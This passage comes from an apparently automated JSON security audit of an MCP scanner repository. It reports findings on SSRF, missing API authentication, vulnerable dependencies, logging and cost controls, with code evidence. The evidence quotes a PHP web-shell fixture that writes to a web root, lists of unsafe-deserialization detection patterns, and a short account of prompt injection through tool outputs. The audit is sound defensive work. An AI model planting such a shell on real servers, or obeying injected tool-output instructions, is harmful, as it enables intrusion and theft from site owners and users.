private/loopback/link-local/metadata IP denylist used in package_sandbox.py's _reject_private_resolved_host() to the MCP server-scanning dial path, or document/enforce that the REST API must only be deployed behind an authenticated, trusted-network boundary when binding to non-loopback interfaces.","why_this_matters":"Enables internal pivoting and data exfiltration.","context_note":"[confirmed_exploitable|relief:none] [readers_disagree:within_declared_contract] [readers_disagree:mitigation_present] Located evidence satisfies the rule's required-evidence contract. The scan reported within_declared_contract but the independent adjudication did not corroborate it; relief (-40%) requires both readers, so none is applied for that signal. The adjudication reported mitigation_present but the scan did not; relief (-40%) requires both readers, so none is applied for that signal. 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The HTTPS\n    host allow-list remains the primary control.\n    \"\"\"\n    if not hostname:\n        return\n    try:\n        addr_infos = socket.getaddrinfo(hostname, None)\n            raise PackageDownloadError(...)"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0002","rule_version":"1.3.2","rule_name":"Static Secrets","finding":"UNKNOWN","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"Final set of previously-unread flagged lines, completing all 46 Zeus-flagged sites for this rule. The remaining tool-poisoning fixture sites are '# POISONED' synthetic test data built to validate the scanner's own detector, not real secret disclosure. An env-var read with empty-string default is not a hardcoded secret. The remaining flagged sites are Auth constructor calls / scanner method calls built from caller-supplied credentials, not logging sinks, and one wraps the value in pydantic SecretStr immediately for redaction. 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The subprocess-shell-true/exec-detected/eval-detected hits found elsewhere are confined to intentionally-malicious test fixtures used to validate the scanner's own detection engine, not shipped application runtime code, and are explicitly excluded contexts per this rule's applicability.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Unsanitized command construction in shipped runtime code can give a remote attacker arbitrary code execution with the application's privileges.","context_note":null,"within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/pypi_scanner.py","start_line":186,"end_line":192,"snippet":"            result = subprocess.run(\n                [\"docker\", \"info\"],\n                capture_output=True,\n                text=True,\n                timeout=10,\n            )"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0004","rule_version":"1.2.0","rule_name":"DoS Protections: Timeouts, Concurrency, Streaming Limits","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"medium","rationale":"The codebase defines and applies timeouts for downstream operations (DEFAULT_LLM_TIMEOUT, DEFAULT_STDIO_TIMEOUT, MCP_CONTENT_READ_TIMEOUT_SECONDS used via asyncio.wait_for in scanner.py) and the PyPI/npm package sandbox enforces byte/file-count caps before extraction. However, the FastAPI service itself installs no rate-limiting, request-body-size, or global concurrency/admission-control middleware in front of its unauthenticated scan-* routes. An unauthenticated caller can issue arbitrarily many full-scan requests; each spins up a fresh Scanner and a potentially expensive remote full-server scan. The existing per-operation timeouts and extraction caps bound individual downstream calls but do not bound the aggregate rate or concurrency of inbound requests, leaving the API edge exposed to resource exhaustion.","vulnerability_details":null,"fix_guidance":"Add request-rate limiting (e.g. per-IP/per-API-key token bucket), a maximum concurrent-request/admission-control gate, and a request body-size cap at the FastAPI middleware layer in front of the scan-* routes, in addition to the existing downstream timeouts.","why_this_matters":"Resource exhaustion can crash or stall MCP.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0004 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/api/api.py","start_line":45,"end_line":50,"snippet":"app = FastAPI(\n    title=\"MCP Scanner SDK API\",\n    description=\"An API to scan MCP server tools for security findings using both Cisco AI Defense and custom YARA rules.\",\n    version=\"1.0.0\",\n)\n"},{"path":"mcpscanner/api/api.py","start_line":211,"end_line":216,"snippet":"\n\n# Include the reusable router\napp.include_router(api_router)\n\n# Provide the dependency override for the default scanner"},{"path":"mcpscanner/api/router.py","start_line":488,"end_line":506,"snippet":"    \"/scan-all-tools\",\n    response_model=Union[AllToolsScanResponse, FormattedToolScanResponse],\n    tags=[\"Scanning\"],\n)\nasync def scan_all_tools_endpoint(\n    request: APIScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan all tools on an MCP server.\"\"\"\n    logger.debug(f\"Starting full server scan - server: {request.server_url}\")\n\n    try:\n        analyzers = request.resolved_analyzers()\n        scanner = scanner_factory(analyzers)\n\n        # Extract HTTP headers for analyzers\n        http_headers = dict(http_request.headers)\n"},{"path":"mcpscanner/api/router.py","start_line":519,"end_line":525,"snippet":"\n        results = await scanner.scan_remote_server_tools(\n            server_url=request.server_url,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,\n            **_hybrid_routing_kwargs(request),"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0005","rule_version":"1.2.0","rule_name":"Logging Hygiene (No Secrets/PII/Tokens) & Audit Trail","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"medium","rationale":"BearerAuth/ApiKeyAuth wrap explicit bearer tokens/API keys in pydantic SecretStr, which redacts those values from logs -- a genuine positive control for explicit auth objects. However, the scan endpoints log the caller-supplied server_url verbatim at debug level via an f-string, and the URL validator only checks for an http(s):// prefix -- it does not reject or scrub userinfo credentials or secret-bearing query parameters embedded in that URL. When debug logging is enabled, a server_url containing an embedded credential or token is written to logs unredacted; the CLI's default WARNING log level is a partial mitigation but does not change the underlying unsanitized sink.","vulnerability_details":null,"fix_guidance":"Strip or redact userinfo credentials and known secret-bearing query parameters from server_url before interpolating it into any log statement, independent of the configured log level.","why_this_matters":"Prevents sensitive data leakage; enables forensics.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0005 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/models.py","start_line":213,"end_line":222,"snippet":"    @field_validator(\"server_url\")\n    @classmethod\n    def validate_server_url(cls, v):\n        \"\"\"Validate server URL format.\"\"\"\n        if not v or not v.strip():\n            raise ValueError(\"Server URL cannot be empty\")\n        v = v.strip()\n        if not (v.startswith(\"http://\") or v.startswith(\"https://\")):\n            raise ValueError(\"Server URL must start with http:// or https://\")\n        return v"},{"path":"mcpscanner/api/router.py","start_line":396,"end_line":405,"snippet":")\nasync def scan_tool_endpoint(\n    request: SpecificToolScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan a specific tool on an MCP server.\"\"\"\n    logger.debug(\n        f\"Starting tool scan - server: {request.server_url}, tool: {request.tool_name}\"\n    )"},{"path":"mcpscanner/cli.py","start_line":1727,"end_line":1733,"snippet":"        logging.basicConfig(\n            level=logging.WARNING,\n            format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\",\n            stream=sys.stderr,\n        )\n        set_log_level(logging.WARNING)\n"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0006","rule_version":"1.2.0","rule_name":"Container/Runtime Hardening","finding":"SECURE","severity":"MEDIUM","realized_severity":null,"confidence":"high","rationale":"All four shipped Dockerfiles pin the base image by digest, create and switch to a dedicated non-root user before the working directory is used, and remove build-only toolchains after the install step. A config scan found only one LOW-severity finding (missing HEALTHCHECK) across the Dockerfiles it inspected, well below this rule's bar for hardening gaps like root execution, writable rootfs abuse, or missing capability drops.","vulnerability_details":null,"fix_guidance":"Optionally add a HEALTHCHECK instruction to each Dockerfile to clear the one remaining LOW-severity Trivy finding (DS-0026).","why_this_matters":"Reduces blast radius of exploits.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/docker/Dockerfile","start_line":7,"end_line":36,"snippet":"ARG PYTHON_BASE_IMAGE=python:3.13-alpine@sha256:399babc8b49529dabfd9c922f2b5eea81d611e4512e3ed250d75bd2e7683f4b0\nFROM ${PYTHON_BASE_IMAGE}\n...\nRUN apk add --no-cache gcc musl-dev libffi-dev\n...\n && apk del gcc musl-dev libffi-dev\n\nCOPY mcpscanner/docker/entrypoint.py /entrypoint.py\n\nRUN adduser -D -u 10001 scanner \\\n && mkdir -p /work/download /work/package \\\n && chown -R scanner:scanner /work /entrypoint.py\nUSER scanner\nWORKDIR /work\n\nENTRYPOINT [\"python\", \"/entrypoint.py\"]"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0007","rule_version":"1.2.0","rule_name":"Dependency Risk & Supply Chain","finding":"VULNERABLE","severity":"HIGH","realized_severity":"HIGH","confidence":"high","rationale":"uv.lock (126 pinned packages, committed to the repo) pins anyio==4.12.0, cryptography==46.0.3, mcp==1.25.0, and pyjwt==2.10.1 among other transitive deps. Trivy's dependency scan of this lockfile identified 25 known HIGH/CRITICAL CVEs with fixed versions already published: CVE-2026-63374 (anyio), CVE-2026-102268/102267/102271 (pyjwt), CVE-2026-32597/48526 (pyjwt), CVE-2026-26007/69247/69249/GHSA-537c (cryptography), CVE-2026-104851 (fsspec), CVE-2026-52869/52870/59950 (mcp SDK), GHSA-6v7p (msgpack), CVE-2026-24486/42561/53539 (python-multipart), CVE-2026-48818/54283 (starlette), and CVE-2026-21441/44431/44432/97687/97689 (urllib3). The `uv sync`-based install/CI path consumes this lockfile directly and preserves these known-vulnerable versions in a supported installation path; the Dockerfile's `pip install .` branch does not itself read uv.lock and instead resolves constraints from pyproject.toml, but this does not eliminate the uv-sync-based exposure. These packages are wired into the shipped runtime: pyjwt backs OAuth/JWT handling, cryptography underlies TLS and OAuth token signing, mcp is the core SDK transport client used in every scan, and anyio/starlette/python-multipart underlie the FastAPI REST server. No scheduled dependency-update gate was found wired into CI to keep these current.","vulnerability_details":null,"fix_guidance":"Run `uv lock --upgrade-package anyio --upgrade-package pyjwt --upgrade-package cryptography --upgrade-package mcp --upgrade-package msgpack --upgrade-package python-multipart --upgrade-package starlette --upgrade-package urllib3` (or a full `uv lock --upgrade`), re-run Trivy to confirm closure, and add a scheduled dependency-update workflow (Dependabot/Renovate) to catch future CVEs automatically.","why_this_matters":"Prevents typosquat and malicious update compromise.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0007 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. 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\\\n      pip install --no-cache-dir .; \\\n    elif [ -n \"$SCANNER_PACKAGE_VERSION\" ]; then \\\n      pip install --no-cache-dir \"cisco-ai-mcp-scanner==${SCANNER_PACKAGE_VERSION}\"; \\\n    else \\\n      pip install --no-cache-dir cisco-ai-mcp-scanner; \\\n    fi \\\n && apk del gcc musl-dev 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or Inadequate Input Validation","finding":"VULNERABLE","severity":"HIGH","realized_severity":"HIGH","confidence":"high","rationale":"While SpecificToolScanRequest's server_url field is validated by a scheme-prefix check and the analyzer allowlist enforcement is real, the `/scan-all-tools` family of routes uses APIScanRequest, a separate model whose server_url field is a bare string with no field_validator and no model_config forbidding extra/malformed input. That value is forwarded directly into outbound MCP session creation with no scheme, host, or length validation on this path. The rule's input-validation bar is not met for this specific, reachable route.","vulnerability_details":null,"fix_guidance":"Add the same (or a shared) server_url field_validator used by SpecificToolScanRequest to APIScanRequest (and any other request model accepting a server_url), enforcing scheme/host format validation before the value reaches session-creation logic.","why_this_matters":"Frontline control to prevent multiple classes of vulns.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0008 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. 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The remaining \""},{"path":"mcpscanner/api/router.py","start_line":487,"end_line":499,"snippet":"@router.post(\n    \"/scan-all-tools\",\n    response_model=Union[AllToolsScanResponse, FormattedToolScanResponse],\n    tags=[\"Scanning\"],\n)\nasync def scan_all_tools_endpoint(\n    request: APIScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan all tools on an MCP server.\"\"\"\n    logger.debug(f\"Starting full server scan - server: {request.server_url}\")\n"},{"path":"mcpscanner/api/router.py","start_line":518,"end_line":525,"snippet":"                auth = Auth.custom(request.auth.custom_headers)\n\n        results = await scanner.scan_remote_server_tools(\n            server_url=request.server_url,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,\n            **_hybrid_routing_kwargs(request),"},{"path":"mcpscanner/core/scanner.py","start_line":2273,"end_line":2285,"snippet":"        try:\n            client_context, session = await self._get_mcp_session(\n                server_url,\n                auth,\n                connector_id=connector_id,\n                tenant_id=tenant_id,\n            )\n\n            # List all tools\n            try:\n                tool_list = await session.list_tools()\n            except McpError as e:\n                if self._is_missing_capability_error(e):"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0009","rule_version":"1.2.0","rule_name":"Insecure Deserialization","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"low","rationale":"No use of pickle.load(s), yaml.load/yaml.unsafe_load, or marshal.load on untrusted data was found anywhere in the shipped application runtime. The only occurrences of these strings are (a) in the tool's own static analyzer, where they are listed as sink patterns the analyzer searches for when scanning third-party MCP server code (detection signatures, not executed code), and (b) in prompt template markdown files used to instruct the LLM judge what to look for. No first-party code deserializes attacker-controlled bytes with an unsafe loader.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Can lead to arbitrary code execution.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/static_analysis/taint/patterns.py","start_line":385,"end_line":392,"snippet":"        # deserialization sinks the analyzer searches for in SCANNED code\n            \"pickle.load\", \"pickle.loads\",\n            \"yaml.load\", \"yaml.unsafe_load\",\n            \"marshal.load\", \"marshal.loads\","}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0010","rule_version":"1.2.0","rule_name":"Lack of Output Encoding/Sanitization","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"high","rationale":"Remote MCP-controlled tool names (and other scanned metadata) flow from ToolScanResult.tool_name through the CLI's report generator into formatted terminal output without ANSI/control-character sanitization. Although the REST API path returns only structured JSON, the CLI's terminal-rendering path is in-scope for this rule's output-sanitization requirement, and the above flow lacks the needed sanitization, so the rule applies and is violated.","vulnerability_details":null,"fix_guidance":"Sanitize or strip ANSI escape sequences and other control characters from remotely-sourced tool/prompt/resource names (and any other scanned-server-controlled strings) before interpolating them into CLI-rendered report text.","why_this_matters":"Prevents UI-level injection and operator compromise.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] within_declared_contract is ineligible for relief on ATR-C0010 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":null,"transport_gated":null,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/report_generator.py","start_line":184,"end_line":190,"snippet":"        # Add type-specific fields\n        if hasattr(result, \"tool_name\"):\n            # ToolScanResult\n            result_dict[\"tool_name\"] = result.tool_name\n            result_dict[\"tool_description\"] = result.tool_description\n            result_dict[\"item_type\"] = \"tool\"\n        elif hasattr(result, \"prompt_name\"):"},{"path":"mcpscanner/core/report_generator.py","start_line":405,"end_line":414,"snippet":"            item_type = result.get(\"item_type\", \"tool\")\n\n            if item_type == \"tool\":\n                item_name = result.get(\n                    \"tool_name\", result.get(\"package_name\", \"Unknown\")\n                )\n            elif item_type == \"prompt\":\n                item_name = result.get(\"prompt_name\", \"Unknown\")\n            elif item_type == \"resource\":\n                item_name = result.get(\"resource_name\", \"Unknown\")"},{"path":"mcpscanner/cli.py","start_line":2781,"end_line":2790,"snippet":"        # Generate and display report\n        formatted_output = formatter.format_output(\n            format_type=output_format,\n            tool_filter=args.tool_filter,\n            analyzer_filter=args.analyzer_filter,\n            severity_filter=severity_filter,\n            show_safe=not args.hide_safe,\n        )\n        print(formatted_output)\n"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0011","rule_version":"1.4.0","rule_name":"Path Traversal & Symlink Bypass (Filesystem Tools)","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"The package sandbox extraction path (used when scanning PyPI/npm packages pulled from untrusted registries) uses Python's tarfile `filter=\"data\"` (hardened extraction available on this project's Python floor) which rejects absolute paths, '..' traversal, symlinks/hardlinks pointing outside the root, and special files, combined with explicit byte/file count caps applied before extraction. A semgrep hit on this line is context-guarded by the presence of the `filter=\"data\"` argument, which is the documented mitigation for that exact pattern.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Traversal exposes arbitrary host files; can lead to code execution.","context_note":null,"within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/package_sandbox.py","start_line":744,"end_line":774,"snippet":"    try:\n        with tarfile.open(archive, \"r:gz\") as tf:\n            members = tf.getmembers()\n            if len(members) > files_cap:\n                raise PackageExtractionError(...)\n            total_size = 0\n            for m in members:\n                if m.size and m.size > bytes_cap:\n                    raise PackageExtractionError(...)\n                total_size += m.size\n                if total_size > bytes_cap:\n                    raise PackageExtractionError(...)\n            # ``filter=\"data\"`` raises on absolute/traversal/symlink members.\n            tf.extractall(dest_dir, filter=\"data\")\n    except PackageExtractionError:\n        raise\n    except (tarfile.TarError, OSError) as e:\n        raise PackageExtractionError(f\"tarball extraction failed: {e}\") from e"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0012","rule_version":"1.2.0","rule_name":"Denial of Wallet / Cost Controls","finding":"VULNERABLE","severity":"MEDIUM","realized_severity":"MEDIUM","confidence":"medium","rationale":"The scanner wires paid/metered external APIs (Cisco AI Defense inspect API, LLM providers via litellm) with no per-caller quota, daily budget, or cost ceiling anywhere in the codebase. VirusTotalAnalyzer implements only a local rate-limit counter to respect VirusTotal's own API limits (not a cost control), but VirusTotal scanning is explicitly SDK/CLI-only and not reachable via the REST API's analyzer set. The REST API's default/allowed analyzers (API and LLM) are reachable and dispatch one analysis task per remotely advertised tool, each invoking a metered completion API, with no cross-request budget/quota enforcement at the API layer. This reachable, unauthenticated, unbudgeted cost path independently establishes denial-of-wallet risk.","vulnerability_details":null,"fix_guidance":"Add per-API-key/per-tenant request quotas and a configurable daily/monthly cost budget for the LLM and Cisco AI Defense analyzers at the FastAPI dependency layer (e.g. a token-bucket limiter keyed on caller identity), and surface a 429/402 response when the budget is exceeded.","why_this_matters":"Prevents cost-based disruption.","context_note":"[capability_by_design|relief:none|ineligible:within_declared_contract] [readers_disagree:mitigation_present] within_declared_contract is ineligible for relief on ATR-C0012 because the rule declares that signal orthogonal to its risk (discount_ineligible_signals); the reported behaviour is within the tool's declared capability, and that does not reduce this finding's severity. The scan reported mitigation_present but the independent adjudication did not corroborate it; relief (-40%) requires both readers, so none is applied for that signal. No context relief applies; realized severity equals MEDIUM.","within_declared_contract":true,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":"mcpscanner/core/analyzers/virustotal_analyzer.py","start_line":240,"end_line":248,"snippet":"        # Rate-limit tracking\n        self._api_calls: int = 0\n        self._minute_window_start: float = 0.0\n        self._minute_calls: int = 0\n\n        if self.api_key:\n            self.session.headers.update(\n                {\"x-apikey\": self.api_key, \"Accept\": \"application/json\"}\n            )"},{"path":"mcpscanner/api/router.py","start_line":492,"end_line":524,"snippet":"async def scan_all_tools_endpoint(\n    request: APIScanRequest,\n    http_request: Request,\n    scanner_factory: ScannerFactory = Depends(get_scanner),\n):\n    \"\"\"Scan all tools on an MCP server.\"\"\"\n    ...\n        results = await scanner.scan_remote_server_tools(\n            server_url=request.server_url,\n            auth=auth,\n            analyzers=analyzers,\n            http_headers=http_headers,\n            **_hybrid_routing_kwargs(request),\n        )"},{"path":"mcpscanner/core/models.py","start_line":304,"end_line":314,"snippet":"    server_url: str\n    analyzers: List[AnalyzerEnum] = Field(\n        default=[AnalyzerEnum.API, AnalyzerEnum.YARA, AnalyzerEnum.LLM],\n        description=(\n            \"List of analyzers to run. The HTTP API is restricted to \"\n            f\"{sorted(a.value for a in API_ALLOWED_ANALYZERS)}. ...\"\n        ),\n    )"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0013","rule_version":"1.1.0","rule_name":"Tool Output Sanitization & Injection Containment","finding":"NOT_APPLICABLE","severity":"HIGH","realized_severity":null,"confidence":"medium","rationale":"This repository is not an MCP host/client that concatenates tool outputs into a live LLM conversation context for an end user; it is a standalone security scanner that reads MCP tool/prompt/resource/instruction content as the artifact under analysis and feeds it to its own internal LLM judge purely to classify it as malicious/benign. There is no agent loop here where a scanned server's output is re-injected as trusted context for further autonomous tool chaining -- the scanner's LLM call is a one-shot classification request whose only action is to emit a structured threat verdict, not a decision to invoke further tools. The threat this rule targets does not match this component's actual control-flow architecture: scanned content is always treated as adversarial input to be classified, never as trusted instructions to act upon.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"Tool outputs are a primary prompt-injection vector. Third-party content (web pages, files, API responses) may contain text crafted to override instructions or impersonate system/tool messages. Without a host-enforced envelope, sanitization, and an explicit untrusted-return signal, the model can be coerced into executing attacker-controlled directives, leaking secrets, or chaining further tool calls on behalf of the adversary.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"mcpscanner/core/analyzers/readiness/llm_judge.py","start_line":108,"end_line":117,"snippet":"        enabled_evaluations: List of evaluation IDs to run. Valid values:\n                             'actionable_errors', 'failure_modes', 'scope_clarity'.\n                             Defaults to all evaluations.\n        \"\"\"\n        self.model = (\n            model\n            or os.environ.get(MCPScannerConstants.ENV_LLM_MODEL)\n            or MCPScannerConstants.DEFAULT_LLM_MODEL\n        )\n        self.api_key = api_key or os.environ.get(MCPScannerConstants.ENV_LLM_API_KEY)"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-C0014","rule_version":"1.2.0","rule_name":"CI/CD Workflow Script Injection","finding":"SECURE","severity":"HIGH","realized_severity":null,"confidence":"high","rationale":"Reviewed all five GitHub Actions workflows. No workflow uses pull_request_target, issue_comment, workflow_run, or repository_dispatch triggers. The only dangerous-sounding triggers present require repo-write/maintainer-level trigger capability, not arbitrary public-contributor control. All `${{ ... }}` interpolations found are either workflow-internal step outputs, a ref fixed to the tag that triggered a release-published event, or secrets consumed as environment variables, not concatenated into dynamically re-parsed shell. No attacker-controlled event field is interpolated into any run block.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"CI/CD script injection can execute attacker-controlled commands with workflow tokens, repository secrets, trusted-runner access, artifact or cache authority, and release or deployment privileges.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":true,"evidence":[{"path":".github/workflows/build-macos.yml","start_line":49,"end_line":56,"snippet":"      - name: Get version\n        id: version\n        run: echo \"version=${GITHUB_REF_NAME#v}\" >> $GITHUB_OUTPUT"},{"path":".github/workflows/ci-cd-run.yml","start_line":25,"end_line":28,"snippet":"  workflow_dispatch:\n  push:\n    branches: [main]"}],"affected_tools":null,"component_name":null},{"rule_id":"ATR-R0001","rule_version":"1.3.0","rule_name":"Weaponization: Malicious-Purpose Artifact (Offensive Capability by Design)","finding":"UNKNOWN","severity":"CRITICAL","realized_severity":null,"confidence":"high","rationale":"The repository bundles directly operational offensive-capability fixtures under evals/ (e.g. a function that writes a PHP command web-shell to disk), justified only by the eval suite's own self-asserted framing as test/demo data for the scanner's detection engines. Per this rule's three-way rubric, offensive capability carrying only fixture/research/evaluation framing must abstain to UNKNOWN rather than being cleared SECURE, because the framing is self-asserted and does not on its own eliminate the bundled, directly operational capability.","vulnerability_details":null,"fix_guidance":null,"why_this_matters":"An artifact whose purpose is to weaponize the agent -- to produce malware, steal credentials, evade defenses, or run attacks at scale -- is dangerous regardless of how securely it is built; posture controls (auth, input validation, least privilege) cannot make a weapon safe, which is why a confirmed weaponization finding caps the trust verdict to `blocked` rather than being averaged against a good posture score. Catching malicious PURPOSE is a distinct safety control, and it must be conservative because offensive capability is dual-use: legitimate pentest, CTF, defensive, and research work must abstain (UNKNOWN), never block -- unless the artifact itself hides from the people who install, run or audit it.","context_note":null,"within_declared_contract":null,"transport_gated":false,"mitigation_present":null,"evidence":[{"path":"evals/behavioral-analysis/data/backdoor/multi_feature_web_shell.py","start_line":27,"end_line":34,"snippet":"    @staticmethod\n    def deploy_simple_shell():\n        \"\"\"BACKDOOR: Deploy simple PHP web shell\"\"\"\n        webshell = \"\"\"<?php system($_GET['cmd']); ?>\"\"\"\n        try:\n            with open(\"/var/www/html/shell.php\", \"w\") as f:\n                f.write(webshell)\n        except:","vulnerability":{}},{"path":"evals/README.md","start_line":1,"end_line":12,"snippet":"# MCP Scanner Evaluation Suite\nThis directory contains evaluation datasets and scripts for testing the MCP Scanner's detection capabilities.\n## Structure\nevals/\n  behavioral-analysis/\n    data/           # Malicious MCP server test cases (141 files)"}],"affected_tools":null,"component_name":null}],"component_tools":[{"tool_name":"security-scan skill invocation (uv run mcp-scanner)","tool_description":"Claude Code skill that shells out to the mcp-scanner CLI to scan MCP servers/configs for security issues","types":["exec-capable","read-only","network-broad"],"status":"IMPLEMENTED","component_name":"skills-plugins/claude-code-plugin/skills/security-scan"}],"summary":{"high_level_risks":["No authentication or authorization on any REST API endpoint (mcpscanner/api/api.py + server.py): any network-reachable caller can invoke /scan-tool, /scan-all-tools, /scan-prompt, /scan-resource, /scan-instructions, triggering outbound SSRF-capable HTTP requests to attacker-supplied server_url using the operator's Cisco AI Defense and LLM provider API keys -- compounded by the README's documented `mcp-scanner-api --host 0.0.0.0 --port 8080` deployment with no TLS and no CORS/Origin/Host validation.","SSRF: no private/loopback/link-local/metadata-IP denylist on the MCP server-scanning dial path (_get_mcp_session in scanner.py) used by all REST API scan endpoints -- the package_sandbox.py sandbox has this exact control (_reject_private_resolved_host) but the MCP-server-scanning path does not, which matters when the API is bound to 0.0.0.0 as documented.","No TLS support in the API server launcher (mcpscanner/server.py has no ssl_keyfile/ssl_certfile option), so any non-loopback deployment following the documented 0.0.0.0 example serves plaintext HTTP with no operator guidance to add a TLS-terminating reverse proxy.","No OAuth 2.1 (or any) authorization protects the remote-reachable REST surface, violating the MCP Authorization spec requirement for remote HTTP transports -- the service only forwards caller-supplied credentials outbound to scanned MCP servers, never validating incoming callers.","Dependency risk: 25 known HIGH/CRITICAL CVEs in pinned-but-outdated transitive dependencies (pyjwt, cryptography, anyio, mcp SDK, starlette, urllib3, python-multipart, msgpack, fsspec) per Trivy scan of the committed uv.lock, with fixed versions already published upstream.","Denial of wallet: no per-caller quota/budget controls around metered external APIs (LLM providers, Cisco AI Defense inspect API, VirusTotal) when the scanner is exposed via its multi-tenant REST API mode."],"top_remediations":["Add a required authentication dependency (API key with constant-time comparison, or OAuth 2.1 + PKCE per the MCP Authorization spec) to every route in mcpscanner/api/router.py's APIRouter, and refuse to start the server on a non-loopback bind without authentication configured.","Add the same private/loopback/link-local/metadata-IP denylist used in package_sandbox.py's _reject_private_resolved_host() to the MCP server-scanning dial path in scanner.py's _get_mcp_session, or require an explicit allowlist of scannable hosts when the API binds to a non-loopback interface.","Add --ssl-keyfile/--ssl-certfile pass-through to mcpscanner/server.py's uvicorn.run call, or explicitly document and enforce a mandatory TLS-terminating reverse proxy before any exposure beyond 127.0.0.1.","Add TrustedHostMiddleware (explicit Host allowlist) and CORSMiddleware (explicit Origin allowlist, never wildcard) to the FastAPI app to defend against DNS-rebinding and cross-origin abuse.","Run `uv lock --upgrade-package anyio --upgrade-package pyjwt --upgrade-package cryptography --upgrade-package mcp --upgrade-package msgpack --upgrade-package python-multipart --upgrade-package starlette --upgrade-package urllib3` and wire a scheduled Dependabot/Renovate job to keep the lockfile current.","Add per-API-key/per-tenant request quotas and a configurable cost budget for the LLM/Cisco AI Defense/VirusTotal analyzers at the FastAPI dependency layer, returning 429/402 when exceeded.","Default the README's production deployment guidance to loopback-only with an explicit, prominent warning about the risks of --host 0.0.0.0 until authentication and TLS are in place."]},"rollup":{"component_findings_count":{"vulnerable":0,"secure":6,"not_applicable":2},"repo_findings_inherited_count":{"vulnerable":7,"secure":5,"not_applicable":1},"component_tools_count":{"exec_capable":1,"read_only":1,"network_broad":1},"worst_case_severity":"HIGH"},"trust_scores":{"repo_level":{"score":42,"tier":"low","capability_band":"extreme","score_confidence":"medium","score_interval":{"low":25,"high":59},"factors":["ATR-C0001 HIGH","ATR-C0004 MEDIUM","ATR-C0005 MEDIUM","ATR-C0007 HIGH","ATR-C0008 HIGH","ATR-C0010 MEDIUM","ATR-C0012 MEDIUM"]},"component_level":{"score":100,"tier":"high","capability_band":"extreme","score_confidence":"high","score_interval":{"low":96,"high":100},"factors":[]}}}]}